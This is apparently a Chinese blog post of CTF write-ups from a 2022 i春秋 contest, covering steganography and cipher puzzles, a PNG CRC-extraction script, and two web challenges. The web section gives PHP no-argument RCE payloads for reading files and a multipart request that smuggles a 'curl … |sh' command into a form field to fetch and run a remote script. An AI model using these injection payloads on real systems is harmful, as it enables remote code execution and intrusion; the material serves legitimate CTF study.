BUUCTF(35)

252 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第20天,点击查看活动详情

2022年i春秋春季赛勇者赛道签到

照着图片弹钢琴就会出现flag

2022年i春秋春季赛勇者赛道tiger

一个rot47加密,一个lsb隐写加密

之后得到解压密码71zr9H6jnXRHn64WBxMbCzz16saCZWiw

发现好像需要明文攻击来解密码Nh6i@=

二维码存在零宽隐写,这里话有个坑点,直接扫好像是提不出来的,可以写个脚本来提

或者我看wp可以用bcTester来题(GET新点)之后用网站解码就可以

yuanfux.github.io/zero-width-… 

接着就是维吉尼亚密码解密

www.guballa.de/vigenere-so…

解码得到flag

2022年i春秋春季赛勇者赛道Capture Radiate Chart

用010打开时就发现异常,有好多IDAT 块,一开始以为是每块有个base64啥的去解密,看完wp发现需要提出来每个块的crc32的最后一位,补上文件头和尾来构成一个压缩包

贴一个脚本

f = open('alien.png', 'rb')
n = 0
s = f.read(1)
ImageHex = ''


while s:
    byte = ord(s)
    n = n+1
    s = f.read(1)
    ImageHex += '%02x' % (byte)
print('\n\ntotal bytes: %d' % n)
f.close()


CRCHex = ImageHex .split('49444154')
Result = ''


for i in range(len(CRCHex)):
    Result += CRCHex[i][-10:-8]
print(CRCHex[1][-10:-8])


with open('output.txt', 'w') as f:
    f.write(Result)

Web

2022年i春秋春季赛勇者赛道Mercy-code

无参rce+条件竞争

直接无参rce会发现过滤了太多函数不可行,必须想另一种方法

解到可以用uniqid加上strrev函数随机取值然后爆破出我们想要的字符

echo(implode(scandir(chr(strrev(uniqid())))));

爆破当前目录

会发现疑似flag文件,提示我们flag在当前目录下面

读取的两种方法

show_source(end(scandir(chr(strrev(uniqid())))));
var_dump(show_source(pos(array_reverse(scandir(chr(ord(hebrev(crypt(time())))))))));

当前目录下访问还是挺简单的,有的题目flag在上级目录,可以看看下面如何构造

xz.aliyun.com/t/6737?page…

2022年i春秋春季赛勇者赛道picture convert

python写的文件上传,测试了一下,似乎思路就是用session的值来进行命令执行,但在比赛中有点没太看明白利用的具体流程卡在了最后一步。

看完官方题解发现可以控制type值来操控session

贴一个官网解

----WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="type";
Content-Type: image/png


'|| curl https://your-shell.com/ip:port |sh || '
------WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png




------WebKitFormBoundary4aWxnEciPGAAwu2N--

开始以为挺难的,其实一看不是这么难,还是太菜了